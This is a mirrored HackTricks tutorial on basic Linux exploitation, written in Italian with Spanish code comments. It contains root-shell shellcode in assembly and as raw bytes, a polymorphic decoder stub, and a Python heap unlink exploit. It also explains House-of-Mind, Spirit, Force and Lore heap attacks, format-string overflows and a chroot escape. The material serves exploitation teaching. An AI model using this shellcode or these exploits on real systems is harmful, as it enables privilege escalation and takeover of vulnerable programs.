Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/README.md
CPol 31f6eed2b4
GitBook: No commit message
2024-04-06 18:35:30 +00:00

558 lines
32 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Linux Exploiting (Basic) (ITA)
<details>
<summary><strong>Impara l'hacking su AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
## **2.SHELLCODE**
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; limpiamos eax\
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Ejecutar syscall
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
**Comprobar que la shellcode funciona**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
```
Per verificare che le system call vengano eseguite correttamente, è necessario compilare il programma precedente e le system call devono apparire in **strace ./PROGRAMMA_COMPILATO**
Quando si creano shellcode, si può utilizzare un trucco. La prima istruzione è un salto a una chiamata. La chiamata richiama il codice originale e inserisce l'EIP nello stack. Dopo l'istruzione di chiamata, abbiamo inserito la stringa necessaria, quindi con quel EIP possiamo puntare alla stringa e continuare ad eseguire il codice.
ESEMPIO **TRICK (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
```
**Esempio di utilizzo dello Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
**Cacciatore di Uova:**
Si tratta di un piccolo codice che scorre le pagine di memoria associate a un processo alla ricerca della shellcode ivi memorizzata (cerca una firma inserita nella shellcode). Utile nei casi in cui si dispone solo di uno spazio limitato per iniettare codice.
**Shellcode Polimorfiche**
Sono shell cifrate che contengono un piccolo codice che le decifra e salta ad esso, utilizzando il trucco di Call-Pop, questo sarebbe un **esempio di cifratura di Cesare**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5. Metodi complementari**
**Tecnica di Murat**
In Linux, tutti i programmi sono mappati a partire da 0xbfffffff.
Osservando come viene costruito lo stack di un nuovo processo in Linux, è possibile sviluppare uno sfruttamento in modo che il programma venga avviato in un ambiente in cui l'unica variabile sia la shellcode. L'indirizzo di questa variabile può quindi essere calcolato come: addr = 0xbfffffff - 4 - strlen(NOME\_eseguibile\_completo) - strlen(shellcode)
In questo modo si otterrebbe facilmente l'indirizzo in cui si trova la variabile di ambiente con la shellcode.
Questo è possibile grazie alla funzione execle che consente di creare un ambiente con solo le variabili di ambiente desiderate.
##
###
###
###
###
### **Format Strings to Buffer Overflows**
La **sprintf** sposta una stringa formattata in una variabile. Pertanto, è possibile abusare della formattazione di una stringa per causare un buffer overflow nella variabile in cui viene copiato il contenuto.\
Ad esempio, il payload `%.44xAAAA` scriverà 44B+"AAAA" nella variabile, il che potrebbe causare un buffer overflow.
### **Strutture \_\_atexit**
{% hint style="danger" %}
Attualmente è molto raro sfruttare questo.
{% endhint %}
`atexit()` è una funzione a cui vengono passate altre funzioni come parametri. Queste funzioni verranno eseguite al momento dell'esecuzione di un `exit()` o del ritorno al main.\
Se è possibile modificare l'indirizzo di una di queste funzioni per puntare a una shellcode, ad esempio, si otterrà il controllo del processo, ma attualmente è più complicato.\
Attualmente gli indirizzi delle funzioni da eseguire sono nascosti dietro diverse strutture e infine l'indirizzo a cui puntano non sono gli indirizzi delle funzioni, ma sono crittografati con XOR e spostamenti con una chiave casuale. Quindi attualmente questo vettore di attacco non è molto utile almeno su x86 e x64\_86.\
La funzione di crittografia è `PTR_MANGLE`. Altre architetture come m68k, mips32, mips64, aarch64, arm, hppa... non implementano la funzione di crittografia perché restituisce lo stesso valore in input. Quindi queste architetture potrebbero essere attaccabili tramite questo vettore.
### **setjmp() & longjmp()**
{% hint style="danger" %}
Attualmente è molto raro sfruttare questo.
{% endhint %}
`Setjmp()` consente di salvare il contesto (i registri)\
`longjmp()` consente di ripristinare il contesto.\
I registri salvati sono: `EBX, ESI, EDI, ESP, EIP, EBP`\
Il problema è che EIP e ESP vengono passati dalla funzione `PTR_MANGLE`, quindi le architetture vulnerabili a questo attacco sono le stesse di cui sopra.\
Sono utili per il recupero degli errori o per le interruzioni.\
Tuttavia, da quanto ho letto, gli altri registri non sono protetti, quindi se c'è una `call ebx`, `call esi` o `call edi` all'interno della funzione chiamata, è possibile prendere il controllo. Oppure potresti anche modificare EBP per modificare ESP.
**VTable e VPTR in C++**
Ogni classe ha una Vtable che è un array di puntatori a metodi.
Ogni oggetto di una classe ha un VPtr che è un puntatore all'array della sua classe. Il VPtr fa parte dell'intestazione di ogni oggetto, quindi se si riesce a sovrascrivere il VPtr potrebbe essere modificato per puntare a un metodo fittizio in modo che l'esecuzione di una funzione vada alla shellcode.
## **Misure preventive ed evasioni**
###
**Sostituzione di Libsafe**
Si attiva con: LD\_PRELOAD=/lib/libsafe.so.2\
o\
“/lib/libsave.so.2” > /etc/ld.so.preload
Le chiamate a alcune funzioni non sicure vengono intercettate e sostituite con altre sicure. Non è standardizzato. (solo per x86, non per compilazioni con -fomit-frame-pointer, non per compilazioni statiche, non tutte le funzioni vulnerabili diventano sicure e LD\_PRELOAD non funziona con binari con setuid).
**Spazio degli indirizzi ASCII Armored**
Consiste nel caricare le librerie condivise da 0x00000000 a 0x00ffffff in modo che ci sia sempre un byte 0x00. Tuttavia, questo non ferma praticamente nessun attacco, specialmente in little endian.
**ret2plt**
Consiste nell'eseguire un ROP in modo che si chiami la funzione strcpy@plt (dalla plt) e si punti all'ingresso della GOT e si copi il primo byte della funzione da chiamare (system()). Successivamente si fa lo stesso puntando a GOT+1 e si copia il secondo byte di system()... Alla fine si chiama l'indirizzo salvato nella GOT che sarà system()
**Jail con chroot()**
debootstrap -arch=i386 hardy /home/user —> Installa un sistema di base in una directory specifica
Un amministratore può uscire da una di queste prigioni facendo: mkdir foo; chroot foo; cd ..
**Strumentazione del codice**
Valgrind —> Cerca errori\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits di base**
**Chunk assegnato**
prev\_size |\
size | —Header\
\*mem | Dati
**Chunk libero**
prev\_size |\
size |\
\*fd | Ptr chunk successivo\
\*bk | Ptr chunk precedente —Header\
\*mem | Dati
I chunk liberi sono in una lista doppiamente collegata (bin) e non possono mai esserci due chunk liberi consecutivi (vengono uniti)
In "size" ci sono bit per indicare: se il chunk precedente è in uso, se il chunk è stato assegnato tramite mmap() e se il chunk appartiene all'arena primaria.
Quando viene liberato un chunk e uno dei chunk adiacenti è libero, questi vengono fusi tramite la macro unlink() e il nuovo chunk più grande viene passato a frontlink() per inserirlo nel bin appropriato.
unlink(){\
BK = P->bk; —> Il BK del nuovo chunk è quello che aveva il chunk precedentemente libero\
FD = P->fd; —> Il FD del nuovo chunk è quello che aveva il chunk precedentemente libero\
FD->bk = BK; —> Il BK del chunk successivo punta al nuovo chunk\
BK->fd = FD; —> Il FD del chunk precedente punta al nuovo chunk\
}
Quindi, se riusciamo a modificare P->bk con l'indirizzo di una shellcode e P->fd con l'indirizzo di un'entrata nella GOT o DTORS meno 12, si ottiene:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E così, al termine del programma, la shellcode viene eseguita.
Inoltre, la quarta istruzione di unlink() scrive qualcosa e la shellcode deve essere preparata per questo:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Questo provoca la scrittura di 4 byte a partire dall'8° byte della shellcode, quindi la prima istruzione della shellcode deve essere un jmp per saltare questo e passare a dei nop che portano al resto della shellcode.
Pertanto, l'exploit viene creato:
Nel buffer1 inseriamo la shellcode iniziando con un jmp in modo che cada nei nop o nel resto della shellcode.
Dopo la shell code inseriamo del padding fino a raggiungere il campo prev\_size e size del chunk successivo. In questi punti inseriamo 0xfffffff0 (in modo che il prev\_size venga sovrascritto per indicare che è libero) e "-4" (0xfffffffc) nel size (per far credere al terzo chunk che il secondo è libero quando in realtà va al prev\_size modificato che dirà che è libero) -> Così quando free() controlla, andrà al size del terzo ma in realtà andrà al secondo - 4 e penserà che il secondo chunk sia libero. E quindi chiamerà **unlink()**.
Al chiamare unlink() userà i primi dati del 2º chunk come P->fd, dove verrà inserito l'indirizzo che si desidera sovrascrivere - 12 (poiché in FD->bk sommerà 12 all'indirizzo salvato in FD). E in quell'indirizzo verrà inserito il secondo indirizzo trovato nel 2º chunk, che ci interesserà che sia l'indirizzo della shellcode (P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes di riempimento**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #È importante che il bit che indica che il chunk precedente è libero sia 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, in modo che pensi che il "size" del 3º chunk sia 4 byte indietro (punta a prev\_size) perché è lì che controlla se il 2º chunk è libero**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Nel payload all'inizio metteremo 8 byte di riempimento**
**got\_free = pack("\<I", 0x08048300 - 12) #Indirizzo di free() nella plt-12 (sarà sovrascritto per eseguire la shellcode la seconda volta che viene chiamato free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Come detto, il payload inizia con 8 byte di riempimento perché sì**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Si modifica il 2º chunk, got\_free punta dove salveremo l'indirizzo addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando in senso inverso (wargame)**
Stiamo controllando 3 chunk consecutivi e vengono liberati in ordine inverso rispetto alla prenotazione.
In questo caso:
Nel chunk c viene inserita la shellcode
Il chunk a viene utilizzato per sovrascrivere il b in modo che il size abbia il bit PREV\_INUSE disattivato in modo che pensi che il chunk a sia libero.
Inoltre, viene sovrascritto nell'intestazione b il size in modo che valga -4.
Quindi, il programma penserà che "a" sia libero e in un bin, quindi chiamerà unlink() per disconnetterlo. Tuttavia, poiché l'intestazione PREV\_SIZE vale -4, penserà che il chunk "a" inizi effettivamente in b+4. Cioè, eseguirà un unlink() su un chunk che inizia in b+4, quindi in b+12 ci sarà il puntatore "fd" e in b+16 ci sarà il puntatore "bk".
In questo modo, se mettiamo l'indirizzo della shellcode in bk e l'indirizzo della funzione "puts()" -12 in fd, otteniamo il nostro payload.
**Tecnica di Frontlink**
Si chiama frontlink quando viene liberato qualcosa e nessuno dei suoi chunk adiacenti è libero, non viene chiamato unlink() ma viene chiamato direttamente frontlink().
Vulnerabilità utile quando il malloc attaccato non viene mai liberato (free()).
Richiede:
Un buffer che può essere sovrascritto con la funzione di input dei dati
Un buffer adiacente a questo che deve essere liberato e il cui campo fd dell'intestazione verrà modificato grazie allo sforamento del buffer precedente
Un buffer da liberare con una dimensione maggiore di 512 ma inferiore al buffer precedente
Un buffer dichiarato prima del passaggio 3 che consente di sovrascrivere il prev\_size di questo
In questo modo, sovrapponendo due malloc in modo incontrollato e uno in modo controllato ma che viene liberato solo uno, possiamo creare un exploit.
**Vulnerabilità double free()**
Se free() viene chiamato due volte con lo stesso puntatore, ci sono due bin che puntano allo stesso indirizzo.
Se si desidera riutilizzare uno, non ci sono problemi. Se si desidera utilizzare un altro, verrà assegnato lo stesso spazio, quindi i puntatori "fd" e "bk" saranno falsificati con i dati che scriverà la prenotazione precedente.
**After free()**
Un puntatore precedentemente liberato viene utilizzato di nuovo senza controllo.
## **8 Heap Overflows: Exploits avanzati**
Le tecniche di Unlink() e FrontLink() sono state eliminate modificando la funzione unlink().
**The house of mind**
È necessaria solo una chiamata a free() per provocare l'esecuzione di codice arbitrario. È importante trovare un secondo chunk che può essere sovrascritto da uno precedente e liberato.
Una chiamata a free() comporta la chiamata a public\_fREe(mem), che fa:
mstate ar\_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Restituisce un puntatore all'indirizzo in cui inizia il chunk (mem-8)
…
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
…
\_int\_free(ar\_ptr, mem);
}
In \[1] controlla il campo size del bit NON\_MAIN\_ARENA, che può essere alterato in modo che il controllo restituisca true ed esegua heap\_for\_ptr() che effettua un and a "mem" ponendo a 0 i 2,5 byte meno significativi (nel nostro caso da 0x0804a000 a 0x08000000) e accede a 0x08000000->ar\_ptr (come se fosse un struct heap\_info)
In questo modo, se possiamo controllare un chunk ad esempio in 0x0804a000 e verrà liberato un chunk in **0x081002a0** possiamo raggiungere l'indirizzo 0x08100000 e scrivere ciò che vogliamo, ad esempio **0x0804a000**. Quando verrà liberato questo secondo chunk, troverà che heap\_for\_ptr(ptr)->ar\_ptr restituisce ciò che abbiamo scritto in 0x08100000 (poiché si applica a 0x081002a0 l'and che abbiamo visto prima e da lì si ottiene il valore dei primi 4 byte, l'ar\_ptr)
In questo modo viene chiamato \_int\_free(ar\_ptr, mem), cioè **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Come abbiamo visto prima, possiamo controllare il valore di av, poiché è ciò che scriviamo nel chunk che verrà liberato.
Come è definito unsorted\_chunks, sappiamo che:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Pertanto, se in av->bins\[2] scriviamo il valore di \_\_DTOR\_END\_\_-12 nell'ultima istruzione verrà scritto in \_\_DTOR\_END\_\_ l'indirizzo del secondo chunk.
Cioè, nel primo chunk dobbiamo mettere all'inizio molte volte l'indirizzo di \_\_DTOR\_END\_\_-12 perché da lì av->bins\[2] lo prenderà
Nell'indirizzo in cui cade l'indirizzo del secondo chunk con gli ultimi 5 zeri, dobbiamo scrivere l'indirizzo di questo primo chunk in modo che heap\_for\_ptr() pensi che l'ar\_ptr sia all'inizio del primo chunk e prenda da lì av->bins\[2]
Nel secondo pezzo e grazie al primo sovrascriviamo prev\_size con un jump 0x0c e size con qualcosa per attivare -> NON\_MAIN\_ARENA
Successivamente, nel pezzo 2 inseriamo molti nops e infine lo shellcode
In questo modo verrà chiamato \_int\_free(TROZO1, TROZO2) e seguirà le istruzioni per scrivere in \_\_DTOR\_END\_\_ l'indirizzo del prev\_size di TROZO2 che salterà allo shellcode.
Per applicare questa tecnica sono necessari alcuni requisiti aggiuntivi che complicano un po' il payload.
Questa tecnica non è più applicabile poiché è stato applicato quasi lo stesso patch di unlink. Si confrontano se il nuovo sito a cui si punta sta puntando anche a esso.
**Fastbin**
È una variante di The house of mind
ci interessa eseguire il codice successivo che si raggiunge dopo la prima verifica della funzione \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Essendo fastbin\_index(sz) —> (sz >> 3) - 2
…
p->fd = \*fb
\*fb = p
In questo modo, se viene impostato su "fb" l'indirizzo di una funzione nella GOT, in questo indirizzo verrà inserito l'indirizzo del pezzo sovrascritto. Per fare ciò sarà necessario che l'arena sia vicina agli indirizzi di dtors. Più precisamente, av->max\_fast deve essere all'indirizzo che andremo a sovrascrivere.
Poiché con The House of Mind abbiamo visto che controllavamo la posizione di av.
Quindi se nel campo size viene inserito un valore di 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() restituirà fastbins\[-1\], che punterà a av->max\_fast
In questo caso av->max\_fast sarà l'indirizzo che verrà sovrascritto (non a cui punta, ma quella posizione verrà sovrascritta).
Inoltre, deve essere soddisfatto il requisito che il pezzo adiacente a quello liberato deve essere maggiore di 8 -> Dato che abbiamo detto che la dimensione del pezzo liberato è 8, in questo falso pezzo dobbiamo solo inserire una dimensione maggiore di 8 (inoltre, poiché lo shellcode sarà nel pezzo liberato, all'inizio dovremo inserire un jmp che vada a cadere in nops).
Inoltre, lo stesso falso pezzo deve essere più piccolo di av->system\_mem. av->system\_mem si trova a 1848 byte di distanza.
A causa dei nulli di \_DTOR\_END\_ e dei pochi indirizzi nella GOT, nessuno di questi indirizzi di queste sezioni è adatto per essere sovrascritto, quindi vediamo come applicare fastbin per attaccare lo stack.
Un altro modo per attaccare è di reindirizzare **av** verso lo stack.
Se modifichiamo la dimensione in modo che sia 16 anziché 8 allora: fastbin\_index() restituirà fastbins\[0\] e possiamo usare questo per sovrascrivere lo stack.
Per fare ciò non devono esserci canary o valori strani nello stack, infatti dobbiamo trovarci qui: 4byte nulli + EBP + RET
I 4 byte nulli sono necessari affinché **av** sia a quell'indirizzo e il primo elemento di un **av** sia il mutex che deve valere 0.
**av->max\_fast** sarà l'EBP e sarà un valore che ci permetterà di saltare le restrizioni.
In **av->fastbins\[0\]** verrà sovrascritto con l'indirizzo di **p** e sarà il RET, quindi si salterà allo shellcode.
Inoltre, in **av->system\_mem** (1484 byte sopra la posizione nello stack) ci saranno abbastanza spazzatura che ci permetterà di saltare il controllo che viene eseguito.
Inoltre, deve essere soddisfatto il requisito che il pezzo adiacente a quello liberato deve essere maggiore di 8 -> Dato che abbiamo detto che la dimensione del pezzo liberato è 16, in questo falso pezzo dobbiamo solo inserire una dimensione maggiore di 8 (inoltre, poiché lo shellcode sarà nel pezzo liberato, all'inizio dovremo inserire un jmp che vada a cadere in nops che vanno dopo il campo size del nuovo falso pezzo).
**The House of Spirit**
In questo caso cerchiamo di avere un puntatore a un malloc che possa essere modificato dall'attaccante (ad esempio, che il puntatore sia nello stack sotto un possibile overflow a una variabile).
In questo modo, potremmo far puntare questo puntatore dove vogliamo. Tuttavia, non qualsiasi posizione è valida, la dimensione del pezzo falso deve essere inferiore a av->max\_fast e più specificamente uguale alla dimensione richiesta in una futura chiamata a malloc()+8. Pertanto, se sappiamo che dopo questo puntatore vulnerabile viene chiamato malloc(40), la dimensione del pezzo falso deve essere uguale a 48.
Se ad esempio il programma chiede all'utente un numero potremmo inserire 48 e far puntare il puntatore di malloc modificabile ai successivi 4 byte (che potrebbero appartenere all'EBP con fortuna, così il 48 rimane dietro, come se fosse l'intestazione size). Inoltre, l'indirizzo ptr-4+48 deve soddisfare diverse condizioni (essendo in questo caso ptr=EBP), cioè, 8 < ptr-4+48 < av->system\_mem.
Se ciò viene soddisfatto, quando verrà chiamato il successivo malloc che abbiamo detto essere malloc(40), verrà assegnato come indirizzo l'indirizzo dell'EBP. Nel caso in cui l'attaccante possa anche controllare ciò che viene scritto in questo malloc, può sovrascrivere sia l'EBP che l'EIP con l'indirizzo desiderato.
Penso che ciò sia dovuto al fatto che quando verrà liberato free() salverà che nell'indirizzo che punta all'EBP dello stack c'è un pezzo di dimensioni perfette per il nuovo malloc() che si vuole riservare, quindi assegnerà quell'indirizzo.
**The House of Force**
È necessario:
* Un overflow a un pezzo che permetta di sovrascrivere il wilderness
* Una chiamata a malloc() con la dimensione definita dall'utente
* Una chiamata a malloc() i cui dati possono essere definiti dall'utente
La prima cosa da fare è sovrascrivere la dimensione del pezzo wilderness con un valore molto grande (0xffffffff), quindi qualsiasi richiesta di memoria sufficientemente grande verrà gestita in \_int\_malloc() senza la necessità di espandere l'heap
La seconda è modificare av->top in modo che punti a una zona di memoria sotto il controllo dell'attaccante, come lo stack. In av->top verrà inserito \&EIP - 8.
Dobbiamo sovrascrivere av->top in modo che punti alla zona di memoria sotto il controllo dell'attaccante:
vittima = av->top;
remainder = chunck\_at\_offset(vittima, nb);
av->top = remainder;
La vittima raccoglie il valore dell'indirizzo del pezzo wilderness attuale (l'attuale av->top) e remainder è esattamente la somma di quell'indirizzo più la quantità di byte richiesti da malloc(). Quindi se \&EIP-8 è in 0xbffff224 e av->top contiene 0x080c2788, allora la quantità che dobbiamo riservare nel malloc controllato affinché av->top punti a $EIP-8 per il prossimo malloc() sarà:
0xbffff224 - 0x080c2788 = 3086207644.
In questo modo verrà salvato in av->top il valore modificato e il prossimo malloc punterà all'EIP e potrà sovrascriverlo.
È importante sapere che la dimensione del nuovo pezzo wilderness sia più grande della richiesta fatta dall'ultimo malloc(). Cioè, se il wilderness punta a \&EIP-8, la dimensione sarà esattamente nel campo EBP dello stack.
**The House of Lore**
**Corruzione SmallBin**
I pezzi liberati vengono inseriti nel bin in base alla loro dimensione. Ma prima di essere inseriti vengono conservati in unsorted bins. Quando un pezzo viene liberato non viene immediatamente inserito nel suo bin ma rimane in unsorted bins. Successivamente, se viene riservato un nuovo pezzo e il pezzo liberato precedente può essere utile, viene restituito, ma se viene riservato un pezzo più grande, il pezzo liberato in unsorted bins viene inserito nel suo bin appropriato.
Per raggiungere il codice vulnerabile, la richiesta di memoria deve essere maggiore di av->max\_fast (di solito 72) e inferiore a MIN\_LARGE\_SIZE (512).
Se nel bin c'è un pezzo della dimensione richiesta, viene restituito dopo essere stato slegato:
bck = victim->bk; Puntatore al pezzo precedente, unica informazione che possiamo alterare.
bin->bk = bck; Il penultimo pezzo diventa l'ultimo, se bck punta allo stack al pezzo successivo riservato, verrà assegnato questo indirizzo.
bck->fd = bin; Si chiude la lista facendo in modo che punti a bin.
È necessario:
Prenotare due malloc, in modo che il primo possa essere sovraffollato dopo che il secondo è stato liberato e inserito nel suo bin (ossia, è stato prenotato un malloc superiore al secondo pezzo prima di fare l'overflow)
Il malloc prenotato a cui viene assegnato l'indirizzo scelto dall'attaccante deve essere controllato dall'attaccante.
L'obiettivo è il seguente, se possiamo fare un overflow a un heap che ha sotto di sé un pezzo già liberato e nel suo bin, possiamo alterare il suo puntatore bk. Se alteriamo il suo puntatore bk e questo pezzo diventa il primo della lista del bin e viene prenotato, il bin verrà ingannato e gli verrà detto che l'ultimo pezzo della lista (quello successivo da offrire) si trova all'indirizzo falso che abbiamo inserito (allo stack o alla GOT, ad esempio). Quindi, se viene prenotato un altro pezzo e l'attaccante ha permessi su di esso, verrà assegnato un pezzo nella posizione desiderata e potrà scriverci.
Dopo aver liberato il pezzo modificato, è necessario prenotare un pezzo più grande di quello liberato, in modo che il pezzo modificato esca dai bin non ordinati e venga inserito nel suo bin.
Una volta nel suo bin, è il momento di modificare il puntatore bk tramite l'overflow in modo che punti all'indirizzo che vogliamo sovrascrivere.
Quindi il bin dovrà aspettare il suo turno affinché venga chiamato malloc() abbastanza volte da utilizzare nuovamente il bin modificato e ingannare il bin facendogli credere che il pezzo successivo si trovi all'indirizzo falso. E successivamente verrà dato il pezzo che ci interessa.
Per eseguire la vulnerabilità il prima possibile, l'ideale sarebbe: prenotare il pezzo vulnerabile, prenotare il pezzo da modificare, liberare questo pezzo, prenotare un pezzo più grande di quello da modificare, modificare il pezzo (vulnerabilità), prenotare un pezzo delle stesse dimensioni di quello violato e prenotare un secondo pezzo delle stesse dimensioni e questo sarà quello che punterà all'indirizzo scelto.
Per proteggere questo attacco viene utilizzato il tipico controllo che il pezzo "non" è falso: si controlla se bck->fd sta puntando a victim. Cioè, nel nostro caso, se il puntatore fd\* del pezzo falso puntato nello stack sta puntando a victim. Per superare questa protezione, l'attaccante dovrebbe essere in grado di scrivere in qualche modo (probabilmente nello stack) nell'indirizzo corretto l'indirizzo di victim. In modo che sembri un pezzo vero.
**Corruzione LargeBin**
Sono necessari gli stessi requisiti di prima e alcuni in più, inoltre i pezzi prenotati devono essere più grandi di 512.
L'attacco è simile a quello precedente, cioè bisogna modificare il puntatore bk e sono necessarie tutte quelle chiamate a malloc(), ma inoltre bisogna modificare la dimensione del pezzo modificato in modo che quella dimensione - nb sia < MINSIZE.
Ad esempio, si farà in modo che la dimensione sia 1552 in modo che 1552 - 1544 = 8 < MINSIZE (la sottrazione non può essere negativa perché si confronta con un unsigned)
Inoltre è stato introdotto un patch per renderlo ancora più complicato.
**Heap Spraying**
Consiste essenzialmente nel prenotare tutta la memoria possibile per gli heap e riempirli con un tappetino di nops terminato da una shellcode. Inoltre, come tappetino si utilizza 0x0c. Si cercherà di saltare all'indirizzo 0x0c0c0c0c e quindi se si sovrascrive un qualche indirizzo con questo tappetino, si salterà lì. Fondamentalmente la tattica è prenotare il massimo possibile per vedere se si sovrascrive qualche puntatore e saltare a 0x0c0c0c0c sperando che ci siano nops lì.
**Heap Feng Shui**
Consiste nel cementare la memoria mediante prenotazioni e liberazioni in modo che ci siano pezzi prenotati tra pezzi liberi. Il buffer da sovraccaricare sarà in uno di questi pezzi.
## Corsi interessanti
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Riferimenti**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
